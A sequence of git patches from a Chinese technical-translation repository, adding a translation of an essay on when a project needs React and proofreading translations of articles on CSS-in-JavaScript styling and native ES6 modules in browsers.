From dd22a599d40e9db3df62eed29b537002ec15cfcb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sun, 30 Apr 2017 11:34:27 +0800
Subject: [PATCH 298/638] =?UTF-8?q?2017.4.30=20=E5=88=9D=E7=BF=BB=E5=AE=8C?=
 =?UTF-8?q?=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/project-need-react.md | 121 +++++++++++++++++++++++++++++++++++++
 1 file changed, 121 insertions(+)

diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
index f861a660328..f451a421379 100644
--- a/TODO/project-need-react.md
+++ b/TODO/project-need-react.md
@@ -6,114 +6,235 @@
 
 # When Does a Project Need React? #
 
+# 项目什么时候需要 React 框架呢？ #
+
 You know when a project needs HTML and CSS, because it's all of them. When you reach for JavaScript is fairly clear: when you need interactivity or some functionality that only JavaScript can provide. It used to be fairly clear when we reached for libraries. We reached for jQuery to help us simplify working with the DOM, Ajax, and handle cross-browser issues with JavaScript. We reached for underscore to give us helper functions that the JavaScript alone didn't have.
 
+你知道什么时候项目需要 HTML 和 CSS，因为这是项目的基础。什么时候用 JavaScript 也很清楚：当你需要只有它能提供的交互功能的时候。过去我们什么时候应该用代码库也很清楚：我们需要 jQuery 来帮助我们简化 DOM 操作，调用 Ajax，处理浏览器兼容问题；我们需要 Underscore 提供 JavaScript 无法单独提供的函数式编程。
+
 As the need for these libraries fades, and we see a massive rise in new frameworks, I'd argue it's not as clear **when to reach for them**. At what point do we need React?
 
+但是随着对这些代码库的需求逐渐消失，我们看到很多新兴的框架的大幅增长。我认为就不那么容易确定**何时需要它们**了。比如说，我们什么情况下需要 React 框架？
+
 I'm just going to use React as a placeholder here for kinda large JavaScript framework thingies. Vue, Ember, Svelte... whatever. I understand they aren't all the same, but when to reach for them I find equally nebulous.
 
+在众多的 JavaScript 框架中 —— Vue、Ember、Svelte ... 不管哪一个，我想以 React 框架为例子来探讨它适合什么项目。我明白这些框架并不完全相同，但是使用它们的时机应该是有一些共性的。
+
 Here's my take.
 
+这是我的做法。
+
 ### ✅ Because there is lots of state. ###
 
+### ✅ 当项目中有大量的状态的时候 ###
+
 Even "state" is a bit of a nebulous word. Imagine things like this:
 
+即便“状态（state）”这个词也无法完全准确的表达我的意思。想象一下这些情况：
+
 - Which navigation item is active
+- 导航栏的哪个栏目正处于激活状态
 - Whether a button is disabled or not
+- 一个按钮是否被禁用
 - The value of an input
+- 输入框的值
 - Which accordion sections are expanded
+- 哪一个下拉框是弹出的状态
 - When an area is loading
+- 何时加载某个区域
 - The user that is logged in and the team they belong to
+- 登陆的用户如何进行权限控制
 - Whether the thing the user is working on is published, or a draft
+- 用户编写的文章是已发布状态还是草稿状态
 
 "Business logic"-type stuff that we regularly deal with. State can also be straight up content:
 
+“业务逻辑” - 我们经常处理的这类东西。状态也可能和内容直接相关：
+
 - All the comments on an article and the bits and bobs that make them up
+- 一篇文章中所有的评论，以及零零碎碎的组成它们的东西。
 - The currently viewed article and all its metadata
+- 当前正在查看的文章，以及该文章的一些属性
 - An array of related articles and the metadata for those
+- 一系列相关的文章，以及这些文章的属性
 - A list of authors
+- 一份作者列表
 - An an activity log of recent actions a user has taken
+- 一份记录用户近期操作的活动日志
 
 React doesn't help you *organize* that state, it just says: I know you need to *deal* with state, so let's just *call* it state and have programmatic ways to set and get that state.
 
+React 框架并没有帮助你**组织**这些状态，它只是说：我知道你需要处理状态的问题，所以我们不如把它设为 state 属性，通过编程的方式进行读写。
+
 Before React, we might have *thought* in terms of state, but, for the most part, didn't manage it as a direct concept.
 
+在有 React 框架之前，我们也许**考虑过**状态的定义，但是大部分时候并没有把它当作一个直接的概念去管理。
+
 Perhaps you've heard the phrase "single source of truth"? A lot of times we treated the DOM as our single source of truth. For example, say you need to know if a form on your website is able to be submitted. Maybe you'd check to see if `$(".form input[type='submit']).is(":disabled")` because all your business logic that dealt with whether or not the form could be submitted or not ultimately changed the disabled attribute of that button. So the button became this defacto source of truth for the state of your app. 
 
+也许你听说过这个短语“单一数据源”？很多时候我们把 DOM 作为我们的单一数据源。比如说，你需要知道是否可以提交某个表单了。也许你会用 `$(".form input[type='submit']).is(":disabled")` 去检查一下，因为所有影响表单是否可提交的业务逻辑最终都会改变按钮的 disable 属性。所以按钮变成了你的 app 事实上的数据源。
+
 Or say you needed to figure of the name of the first comment author on an article. Maybe you'd write `$(".comments > ul > li:first > h3.comment-author).text()` because the DOM is the only place that knows that information.
 
+或者说，你需要知道某篇文章的第一个评论者的名字，也许你会这样写 `$(".comments > ul > li:first > h3.comment-author).text()`，因为 DOM 是你唯一可以获得这些信息的地方。
+
 React kinda tells us: 
 
+React 框架这样告诉我们：
+
 1. Let's start thinking about all that stuff as state. 
+    
+    我们把这些所有的东西都想像成状态（state）。
+
 2. I'll do ya one better: state is a chunk of JSON, so it's easy to work with and probably works nicely with your back end.
+
+    我会为你做好一件事：把状态转换为一串 JSON 字符串，这样的话处理起来很容易，也许你的服务端可以处理的很漂亮。
+
 3. And one more even better: You build your HTML using bits of that state, and you won't have to deal with the DOM directly at all, I'll handle all that for you (and likely do a better/faster job than you would have.)
 
+    另外还有一个更好的地方是：你可以用这些状态（state）直接构建 HTML ，你根本不需要直接操作 DOM，我都替你处理了（也许比你亲自处理的要更快更好）。
+
 ### ✅ To Fight Spaghetti. ###
 
+### ✅ 对抗面条式代码 （Spaghetti）###
+
 This is highly related to the state stuff we were just talking about. 
 
+这和我们刚才讨论过的状态非常有关系。
+
 "Spaghetti" code is when code organization and structure has gotten away from you. Imagine, again, a form on your site. It has some business logic stuff that specifically deals with the inputs inside of it. Perhaps there is a number input that, when changed, display the result of some calculation beside it. The form can also be submitted and needs to be validated, so perhaps that code is in a validation library elsewhere. Perhaps you disable the form until you're sure all JavaScript has loaded elsewhere, and that logic is elsewhere. Perhaps when the form is submitted, you get data back and that needs logic and handling. Nothing terribly surprising here, but you can see how this can get confusing quickly. How does a new dev on the project, looking at that form, reason out everything that is going on?
 
+“面条式”代码，指的是代码的组织结构已经脱离你的掌控。再想象一下，假设有这么一个表单，它有一些专门处理表单内输入框的业务逻辑。该表单内有这么一个数字输入框，当这个输入框的值改变的时候，在旁边显示根据该值进行某些计算后的结果。这个表单可以被提交至服务端，因此也需要合法性检查，而也许合法性检查的代码位于其他地方的验证库中。也许在确定某处的 JavaScript 代码全部加载完之前，你还需要禁用此表单，而这个逻辑也在别的地方。也许当表单提交后，你还需要处理一些返回值。没有什么特别让人意外的功能，但是凑在一起就很容易让人蒙圈。如果这个项目由一个新的开发人员接手后，当他看到这个表单时他如何能捋清这些逻辑呢？
+
 React encourages the use of building things into modules. So this form would likely either be a module of its own or comprised of other smaller modules. Each of them would handle the logic that is directly relevant to it. 
 
+React 框架鼓励把东西打包成组件。所以这个表单要么自己是一个组件，要么由其他的小组件组成。每一个组件只处理与自己直接相关的逻辑。
+
 React says: *well, you aren't going to be watching the DOM directly for changes and stuff, because the DOM is mine and you don't get to work with it directly*. Why don't you start thinking of these things as part of the state, change state when you need to, and I'll deal with the rest, rerendering what needs to be rerendered.
 
+React 框架说：**嗯，你不会直接看到 DOM 的变化，因为 DOM 是我的，你无法直接操作它**。为什么你不把这些东西想象成状态的一部分，当需要的时候就改变状态（state）。我会处理其他的事情，重新渲染需要被渲染的界面。
+
 It should be said that React itself doesn't entirely solve spaghetti. You can still have state in all kinds of weird places, name things badly, and connect things in weird ways. 
 
+应该说，只有 React 框架还不足以解决面条式代码。因为状态也可能出现在各个奇怪的地方，或者状态起的名字很糟糕，或者用莫名其妙的方式调用。
+
 In my limited experience, it's Redux that is the thing that really kills spaghetti. Redux says: I'll handle *all* the important state, totally globally, not module-by-module. I am the absolute source of truth. If you need to change state, there is quite a *ceremony* involved (I've heard it called that, and I like it.) There are reducers and dispatched actions and such. All changes follow the ceremony.
 
+在我有限的经验内，Redux 框架才能真正解决面条式代码的问题。Redux 框架说：我会处理**所有**重要的状态，都是全局的，不是组件依赖的。我才是唯一的数据源。如果你需要改变状态，就要采用特定的**仪式**（我听说它是这么叫的，而且我喜欢这么叫）。通过 reducers 和被分发的（dispatched） actions，所有的改变都会遵循这种仪式。
+
 If you go the Redux road (and there are variations of it, of course), you end up with really solid code. It's much harder to break things and there are clear trails to follow for how everything is wired together.
 
+如果你准备在项目中加入 Redux（当然也需要一点微小的改变），那么你就可以和硬编码说再见了。通过加入 Redux 框架，组件会变的高内聚，也很容易理清整个需求的逻辑走向了。
+
 ### ✅ Lots of DOM management. ###
 
+### ✅ 要控制大量的DOM ###
+
 Manually handling the DOM is probably the biggest cause of spaghetti code.
 
+手动处理 DOM 可能是引起面条式代码的最大原因。
+
 1. Inject HTML over here!
+
+    在这里插入一段 HTML ！
+    
 2. Rip something out over here!
+
+    在这里把某些东西扔出去！
+    
 3. Watch this area for this event!
+
+    监听特定区域的特定事件（event）！
+    
 4. Bind a new event over here!
+
+    在这里绑定一个新事件！
+
 5. New incoming content! Inject again! Make sure it has the right event bindings!
 
+    又来了新内容。再次插入到 HTML 里，确保它绑定了正确的事件！
+
+
 All these things can happen any time from anywhere in an app that's gone spaghetti. Real organization has been given up and it's back to the DOM as the source of truth. It's hard to know exactly what's going on for any given element, so everybody just asks the DOM, does what they need to do, and crosses their fingers it doesn't mess with somebody else.
 
+此类事情可以发生在一个 app 的任何地方、任何时间，这就造成了面条式代码。手动管理是不靠谱的，因为这么做的话又变成 DOM 数据源了。很难准确的知道任何给定的元素发生了什么，所以每个人只好直接查询 DOM ，做他们必须做的事情，顺便向上帝祈祷他们这么做没干扰到别人。
+
 React says: you don't get to deal with the DOM directly. I have a virtual DOM and I deal with that. Events are bound directly to the elements, and if you need it to do something above and beyond something directly handle-able in this module, you can kind of ceremoniously call things in higher order modules, but that way, the breadcrumb trail can be followed.
 
+React 框架说：你不需要直接操作 DOM 。我用虚拟 DOM 来处理真实的 DOM。事件直接绑定在组件内，如果你想在该组件之外做些什么的话，只需要按照规范在父组件里调用就可以了。通过这种方式，所有的逻辑就有迹可循了。
+
 *Complicated* DOM management is another thing. Imagine a chat app. New chat messages might appear because a realtime database has new data from other chatters and some new messages have arrives. Or you've typed a new message yourself! Or the page is loading for the first time and old messages are being pulled from a local data store so you have something to see right away. Here's [a Twitter thread](https://twitter.com/mjackson/status/849636985740210177) that drives that home.
 
+管理**复杂的** DOM 是另一件 适合 React 框架的事情。想象有一个聊天软件，当数据库接收到其他聊天者传递来的新聊天信息时，在聊天窗口里应该显示这些新的信息。否则你只能自己给自己聊天了！或者当聊天页面第一次被加载的时候，可以从本地数据库里找出几条旧信息显示出来，这样你立刻有东西可以看了。比如说这个[推特例子](https://twitter.com/mjackson/status/849636985740210177)。
+
 ### ❌ Just because. It's the new hotness. ###
 
+### ❌ 只是因为，React 框架是目前最火的框架。 ###
+
 Learning something for the sake of learning something is awesome. Do that. 
 
+为了学习而学习，是非常酷的。坚持下去。
+
 Building a project for clients and real human being users requires more careful consideration. 
 
+为了满足用户的需求而构建项目则需要更谨慎一点。
+
 A blog, for example, *probably* has none of the problems and fits none of the scenarios that would make React a good fit. And because it's not a good fit, it's probably a *bad* fit, because it introduces complicated technology and dependencies for something that doesn't call for it.
 
+举个例子，一个博客**也许**没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。所以如果不是很适合的话，那么也许就是**很不**适合 React 框架。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。
+
 And yet, gray area. If that blog is a SPA ("Single Page App", e.g. no browser refreshing) that is built from data from a headless CMS and had fancy server-side rendering... well maybe that is React territory again.
 
+在完全适合和完全不适合之间，如果这个博客是一个 SPA （“单页面应用”，不需要浏览器刷新），通过 headless CMS 获取数据构建该博客，并且具有出色的服务端渲染...好吧，也许又是 React 框架的领域。
+
 The web app CMS that makes that blog? Maybe a good choice for React, because of all the state.
 
+网络 app 内容管理系统创建的这种博客？也许用 React 是一个好选择，因为也是一大堆的状态。
+
 ### ❌ I just like JavaScript and want to write everything in JavaScript. ###
 
+### ❌ 我就是喜欢 JavaScript ，就是想用它来编写任何东西。 ###
+
 People get told, heck, I've told people: learn JavaScript. It's huge. It powers all kinds of stuff. There are jobs in it. It's not going anyway.
 
+我经常安利周围的人：学习 JavaScript。因为 JavaScript 的知识太丰富了。它能做很多很多的事情，所以好好学习 JavaScript 永远不会过时。
+
 It's only in recent web history that it's become possible to never leave JavaScript. You got Node.js on the server side. There are loads of projects that yank CSS out of the mix and handle styles through JavaScript. And with React, your HTML is in JavaScript too.
 
+只有在最近的网络发展中，Javascript 才变的不可或缺。你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以通过 JavaScript 来操作 HTML。
+
 All JavaScript! All hail JavaScript!
 
+万物归于 JavaScript！JavaScript 万岁！
+
 That's cool and all, but again, just because you can doesn't mean you should. Not all projects call for this, and in fact, most probably don't. 
 
+JavaScript 确实碉堡了，但是你可以这么做并不意味着你必须这么做。并不是所有的项目都必须使用 JavaScript ，而且事实上，有相当一部分有可能压根不需要。
+
 ### ☯️ That's what I know. ###
 
+### ☯️ 这就是我所知道的。 ###
+
 (There are decent emojis for YES and NO, but MAYBE is tougher!)
 
+（**是**和**否**有体面的表情，但是**也许**更坚韧！）
+
+
 You're learning. Awesome. Everybody is. Keep learning. The more you know the more informed decisions you can make about what tech to use. 
 
+你在学习，太好了。每个人都在学习，所以坚持学习吧。你知道的越多，你越知道该应该用什么技术。
+
 But sometimes you gotta build with what you know, so I ain't gonna ding ya for that.
 
+但是很多时候你只能以现有的技术来构建项目，所以我也不会反复强调这一点。
+
 ### ☯️ That's where the jobs are. ###
 
+### ☯️ 这就是工作。 ###
+
 Not everybody has a direct say in what technology is used on any given project. Hopefully, over time, you have influence in that, but that takes time. Eden says she [spent 2 years with Ember](https://twitter.com/edenthecat/status/849640183360352257) because that's where the jobs were. No harm in that. Everybody's gotta get paid, and Ember might have been a perfect fit for those projects.
 
+在给定的任何项目中，不是每个人都决定应该底用什么技术。希望随着时间的增长，你可以更大层度上的影响决策。Eden 说她[花了两年的时间研究 Ember](https://twitter.com/edenthecat/status/849640183360352257)，因为这就是她的工作。没有任何冒犯的意思，但是拿人钱财就得替人消灾。Ember 也许比较适合这些项目。
 
 ---
 

From ccfb32af806845d3e82578a2b9fb8db1c5a4a09a Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sun, 30 Apr 2017 15:25:26 +0800
Subject: [PATCH 299/638] proofreading

---
 ...t-the-future-of-component-based-styling.md | 26 +++++++------------
 1 file changed, 10 insertions(+), 16 deletions(-)

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
index 595ab2ded82..c2fb296be20 100644
--- a/TODO/css-in-javascript-the-future-of-component-based-styling.md
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[bambooom](https://github.com/bambooom)
-> * 校对者：
+> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # JavaScript 中的 CSS：基于组件的样式的未来
 
@@ -61,7 +61,7 @@ const styles = StyleSheet.create({
 });
 ```
 
-Aphrodite 的优势之一是迁移很直观，学习曲线较平缓。类似 `border-radius`  变成 `borderRadius`，值变成字符串，伪类选择器、媒体查询、字体定义都可以正常工作。另外也可以自动添加浏览器引擎前缀。
+Aphrodite 的优势之一是迁移很直观，学习曲线较平缓。类似 `border-radius` 变成 `borderRadius`，值变成字符串，伪类选择器、媒体查询、字体定义都可以正常工作。另外也可以自动添加浏览器引擎前缀。
 
 **下面就是按钮的样子：**
 
@@ -75,7 +75,7 @@ Aphrodite 的优势之一是迁移很直观，学习曲线较平缓。类似 `bo
 
 #### 定义排版常数
 
-在定义常量时，**使用语义化的变量名**。例如，在给字体大小命名时，不要使用 `h2`，使用 `displayLarge` 描述它的作用。类似的，不要给字体权重命名 `600`，使用 `semibold` 描述它的效果。
+在定义常量时，**使用语义化的变量名**。例如，在给字体大小命名时，不要使用 `h2`，使用 `displayLarge` 描述它的作用。类似的，不要给字体粗细命名 `600`，使用 `semibold` 描述它的效果。
 
 ```javascript
 export const fontSize = {
@@ -120,9 +120,9 @@ export const lineHeight = {
 };
 ```
 
-设置正确的字体大小和行高变量的值是很重要的。这是因为他们直接影响了设计的垂直规律。垂直规律是一个能帮助你实现一致的元素间距的概念。
+设置正确的字体大小和行高变量的值是很重要的。这是因为他们直接影响了设计的垂直韵律。垂直韵律是一个能帮助你实现一致的元素间距的概念。
 
-想要了解更多有关垂直规律的内容，你可以阅读这篇文章：[为什么垂直规律对排版实践很重要？](https://zellwk.com/blog/why-vertical-rhythms/)
+想要了解更多有关垂直韵律的内容，你可以阅读这篇文章：[为什么垂直韵律对排版实践很重要？](https://zellwk.com/blog/why-vertical-rhythms/)
 
 ![](https://cdn-images-1.medium.com/max/800/1*Ehj9XMvQ9wJNhxWNqwXfKw.png)
 
@@ -216,12 +216,10 @@ function Parent() {
 
 ### 设计基础第二部分：间距 ###
 
-**间距同时控制着设计中的垂直与水平规律**。所以间距对建立视觉设计系统至关重要。和排版部分一样，第一步也是设定间距常量。
+**间距同时控制着设计中的垂直与水平韵律**。所以间距对建立视觉设计系统至关重要。和排版部分一样，第一步也是设定间距常量。
 
 #### 定义间距常量 ###
 
-> When defining spacing constants for the margins between elements, we can adopt a mathematic approach. Using a `spacingFactor` constant, we can generate a set of distances based on a common factor. **This approach ensures that we have logical and consistent spacing between elements.**
-
 当为元素之间的 margin 定义间距常量时，我们可以采取一种数学方法。使用一个 `spacingFactor` 常量来生成一组距离。**这种方法确保元素之间的间距是有逻辑并且一致的**。
 
 ```javascript
@@ -241,9 +239,7 @@ export const spacing = {
 };
 ```
 
-> The example above uses a linear scale, one to thirteen. However, experiment with different scales and ratios. Designs require different scales based on their purpose, their audience, and the devices they target. As an example,**here are the first six computed distances using the golden ratio**  with a `spacingFactor` of eight.
-
-上面的例子采用了线性关系，从 1 到 13。不管怎样，多试验几种不同的尺度和比例的搭配才能找到合适的方案。目的、受众、目标设备的不同都需要在设计时考虑。**下面是使用黄金比率计算出来的前 6 个距离**，以 8 个 `spacingFactor` 为例。
+上面的例子采用了线性关系，从 1 到 13。不管怎样，多试验几种不同的尺度和比例的搭配才能找到合适的方案。目的、受众、目标设备的不同都需要在设计时考虑。**下面是使用黄金比率计算出来的前 6 个距离**，以 `spacingFactor` 等于 8 为例。
 
     Golden Ratio (1:1.618)
 
@@ -254,8 +250,6 @@ export const spacing = {
     8.0 x (1.618 ^ 4) = 54.82
     8.0 x (1.618 ^ 5) = 88.71
 
-> This is what the spacing scale would look like in code. I added a helper function to handle the computation and round off the output to its nearest pixel value.
-
 下面是在代码中如何写间距比例。我添加了一个帮助处理间距计算结果的函数，它会返回其最近的像素值。
 
 ```javascript
@@ -274,7 +268,7 @@ function computeGoldenRatio(spacingFactor, exp) {
 }
 ```
 
-定义好常量后，我们就可以用它们给元素添加间距。**一种方法就是在组件中 import**。
+定义好间距常量后，我们就可以用它们给元素添加间距。**一种方法就是在组件中 import**。
 
 例如，下面我们给 `Button` 组件添加 `marginBottom`。
 
@@ -318,7 +312,7 @@ export default Spacing;
 
 由于按钮、输入框、卡片等组件可能需要可变的间距，所以这种方法是有效的。例如，表单中的按钮可能比导航栏的按钮需要更大的边距。需要注意的是，如果一个组件始终具有一致的边距，那么在组件内部处理边距更好。
 
-你可能注意到前面的例子中只使用了 `marginBottom` ，这是因为**在一个方向定义所有的垂直边距可以避免边距合并，并能跟踪垂直规律**。你可以从 Harry Robert 的文章 [单向边距声明](https://csswizardry.com/2012/06/single-direction-margin-declarations/) 中了解更多这方面知识。
+你可能注意到前面的例子中只使用了 `marginBottom` ，这是因为**在一个方向定义所有的垂直边距可以避免边距合并，并能跟踪垂直韵律**。你可以从 Harry Robert 的文章 [单向边距声明](https://csswizardry.com/2012/06/single-direction-margin-declarations/) 中了解更多这方面知识。
 
 最后，你还可以使用间距常量来定义 padding。
 
@@ -360,7 +354,7 @@ export const styles = StyleSheet.create({
 
 你可以在 Medium 上找到我，我每周都会发布一篇文章。你也可以在 [Twitter](https://twitter.com/jonathanzwhite) 上关注我，我会在那里发布一些有关设计、前端开发和虚拟现实的随笔。
 
-*如果你喜欢这篇文章，欢迎给我点赞 ❤ 并分享给朋友，非常感谢！*
+**如果你喜欢这篇文章，欢迎给我点赞 ❤ 并分享给朋友，非常感谢！**
 
 [![](https://cdn-images-1.medium.com/max/600/1*mxQhZLqG7l5dMLvxYAklgw.png)](http://mrwhite.space/signup)
 

From b1993997601c32a3c2da17d791005195b558ff6e Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sun, 30 Apr 2017 15:27:58 +0800
Subject: [PATCH 300/638] proofreading

---
 TODO/css-in-javascript-the-future-of-component-based-styling.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
index c2fb296be20..df98d1293d8 100644
--- a/TODO/css-in-javascript-the-future-of-component-based-styling.md
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -279,7 +279,7 @@ import { spacing } from '../styles/base/spacing';
 
 const styles = StyleSheet.create({
   button: {
-    marginBottom: spacing.space4, // adding margin using spacing constant
+    marginBottom: spacing.space4, // 使用间距常量来添加 margin
     ...
   },
 });

From 31fc4e1ac8b5c548e6203ca8ab840dfbfa296f39 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sun, 30 Apr 2017 15:30:11 +0800
Subject: [PATCH 301/638] proofreading

---
 TODO/css-in-javascript-the-future-of-component-based-styling.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
index df98d1293d8..70e65e61825 100644
--- a/TODO/css-in-javascript-the-future-of-component-based-styling.md
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -308,7 +308,7 @@ function Spacing(props) {
 export default Spacing;
 ```
 
-这种方法可以将设置边距的任务从子组件转移到父组件上。**这样，子组件变成了对布局无感知的组件，它不需要知道自己将被放置在何处以及与其他元素的关联**。
+这种方法可以将设置边距的任务从子组件转移到父组件上。**这样，子组件就对布局无感知了，它不需要知道将被放置在何处及与其他元素的关联**。
 
 由于按钮、输入框、卡片等组件可能需要可变的间距，所以这种方法是有效的。例如，表单中的按钮可能比导航栏的按钮需要更大的边距。需要注意的是，如果一个组件始终具有一致的边距，那么在组件内部处理边距更好。
 

From ef0ee56f0656e2d16cdba27709899c58b61ab217 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Sun, 30 Apr 2017 16:42:20 +0800
Subject: [PATCH 302/638] Update
 es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

---
 ...browsers-is-it-time-to-rethink-bundling.md | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
index d5c2d5bed5e..02906e2ba16 100644
--- a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -8,15 +8,15 @@
 
 ![](http://images.contentful.com/256tjdsmm689/3xFvPzCb6wUek00gQAuU6q/0e8221e0e5c673f18d20448a9ba8924a/Contentful_ES6Modules_.png) 
 
-最近一段日子，编写高效的 JavaScript 应用变得越来越复杂。早在几年前，大家都还使用脚本连接来减少 HTTP 请求数；后来有了压缩工具，人们为了压缩代码而缩短变量名，甚至连代码的最后一字节都要省出来。
+最近一段日子，编写高效的 JavaScript 应用变得越来越复杂。早在几年前，大家都开始合并脚本来减少 HTTP 请求数；后来有了压缩工具，人们为了压缩代码而缩短变量名，甚至连代码的最后一字节都要省出来。
 
-今天，我们有了 [tree shaking](https://blog.engineyard.com/2016/tree-shaking) 和各种模块打包器，我们为了不在首屏加载时阻塞主进程又开始进行代码分割，[加快交互时间](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)。我们还开始转译一切东西：感谢 Babel，让我们能够在现在就使用未来的特性。
+今天，我们有了 [tree shaking](https://blog.engineyard.com/2016/tree-shaking) 和各种模块打包器，我们为了不在首屏加载时阻塞主进程又开始进行代码分割，加快[交互时间](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)。我们还开始转译一切东西：感谢 Babel，让我们能够在现在就使用未来的特性。
 
-ES6 模块由 ECMAScript 标准制定，[定稿有些时日了](http://2ality.com/2014/09/es6-modules-final.html)。社区为它写了很多的文章，讲解如何通过 Babel 使用它们，以及 `import` 和 Node.js 的  `require` 的区别。但是要在浏览器中真正实现它还需要一点时间。我惊喜地发现 Safari 在它的 technology preview 版本中第一个装载了 ES6 模块，并且 Edge 和 Firefox Nightly 版本也将要支持 ES6 模块——虽然目前还不支持。在使用 `RequireJS` 和 `Browserify` 之类的（还记得关于 [AMD 与 CommonJS  的讨论吗](https://addyosmani.com/writing-modular-js/)？）工具后，浏览器终于能支持模块了。让我们来看看明朗的未来带来了怎样的礼物吧！🎉
+ES6 模块由 ECMAScript 标准制定，[定稿有些时日了](http://2ality.com/2014/09/es6-modules-final.html)。社区为它写了很多的文章，讲解如何通过 Babel 使用它们，以及 `import` 和 Node.js 的  `require` 的区别。但是要在浏览器中真正实现它还需要一点时间。我惊喜地发现 Safari 在它的 technology preview 版本中第一个装载了 ES6 模块，并且 Edge 和 Firefox Nightly 版本也将要支持 ES6 模块——虽然目前还不支持。在使用 `RequireJS` 和 `Browserify` 之类的工具后（还记得关于 [AMD 与 CommonJS  的讨论吗](https://addyosmani.com/writing-modular-js/)？），至少看起来浏览器终于能支持模块了。让我们来看看明朗的未来带来了怎样的礼物吧！🎉
 
 ## 传统方法 ##
 
-现在构建 web 应用的常用方式就是使用由 Browserify、Rollup、Webpack 等工具构建的代码包（bundle）。而不使用 SPA（单页面应用）技术的网站则通常由服务端生成 HTML，在其中引入一个 JavaScript 代码包。
+构建 web 应用的常用方式就是使用由 Browserify、Rollup、Webpack 等工具构建的代码包（bundle）。而不使用 SPA（单页面应用）技术的网站则通常由服务端生成 HTML，在其中引入一个 JavaScript 代码包。
 
 ```
 <html>
@@ -62,7 +62,7 @@ export default function() {
 
 ### 装载一个代码包（bundle） ###
 
-配置使用 Webpack 创建一个代码包相对来说比较简单。在构建过程中，除了打包和使用 UglifyJS 压缩 JavaScript 文件之外并没有做别的什么事。
+配置使用 Webpack 创建一个代码包相对来说比较直观。在构建过程中，除了打包和使用 UglifyJS 压缩 JavaScript 文件之外并没有做别的什么事。
 
 ```
 // webpack.config.js
@@ -92,7 +92,7 @@ total 24
 -rw-r--r--  1 stefanjudis  staff   197B Mar 16 19:33 index.js
 ```
 
-在我通过 Webpack 构建之后，我得到了一个 856 字节的代码包，大约增大了 500 字节。增加这么些字节还是可以接受的，这个代码包与我们平常生产环境中做代码装载没啥区别。感谢 Webpack，现在我们可以使用 ES6 模块了。
+在我通过 Webpack 构建之后，我得到了一个 856 字节的代码包，大约增大了 500 字节。增加这么些字节还是可以接受的，这个代码包与我们平常生产环境中做代码装载没啥区别。感谢 Webpack，我们已经可以使用 ES6 模块了。
 
 
 ```
@@ -107,9 +107,9 @@ bundle.js   856 bytes   0       [emitted]  main
   [2] ./app/index.js 202 bytes {0}[built]
 ```
 
-## 使用新设定支持原生 ES6 模块 ##
+## 使用原生支持的 ES6 模块的新设定 ##
 
-现在，我们得到了一个“传统的打包代码”，现在所有还不支持 ES6 模块的浏览器都支持这种打包的代码。我们可以开始玩一些有趣的东西了。让我们在 `index.html` 中加上一个新的 script 元素，使用 `type="module"` 指明这是 ES6 模块。
+现在，我们得到了一个“传统的打包代码”，现在所有还不支持 ES6 模块的浏览器都支持这种打包的代码。我们可以开始玩一些有趣的东西了。让我们在 `index.html` 中加上一个新的 script 元素指向 ES6 模块，为其加上 `type="module"`。
 
 
 ```
@@ -126,7 +126,7 @@ bundle.js   856 bytes   0       [emitted]  main
 
 ![Bildschirmfoto 2017-03-29 um 17.06.26](http://images.contentful.com/256tjdsmm689/1mefe0J3JKOiAoSguwMkka/0d76c5666300ed0b631a0fe548ac5b52/Bildschirmfoto_2017-03-29_um_17.06.26.png)
 
-遗憾的是，它并没有显示另外的“Hello world”。造成问题的原因是构建工具与原生 ES 模块的差异：Webpack 是在构建的过程中找到那些文件需要 include 的，而 ES 模块是在浏览器中运行的时候才去取文件的，因此我们需要为此指定正确的文件路径：
+遗憾的是，它并没有显示另外的“Hello world”。造成问题的原因是构建工具与原生 ES 模块的差异：Webpack 是在构建的过程中找到那些需要 include 的文件，而 ES 模块是在浏览器中运行的时候才去取文件的，因此我们需要为此指定正确的文件路径：
 
 ```
 // app/index.js
@@ -167,7 +167,7 @@ import dep1 from './dep-1.js';
 
 ### 模块与脚本的不同 ###
 
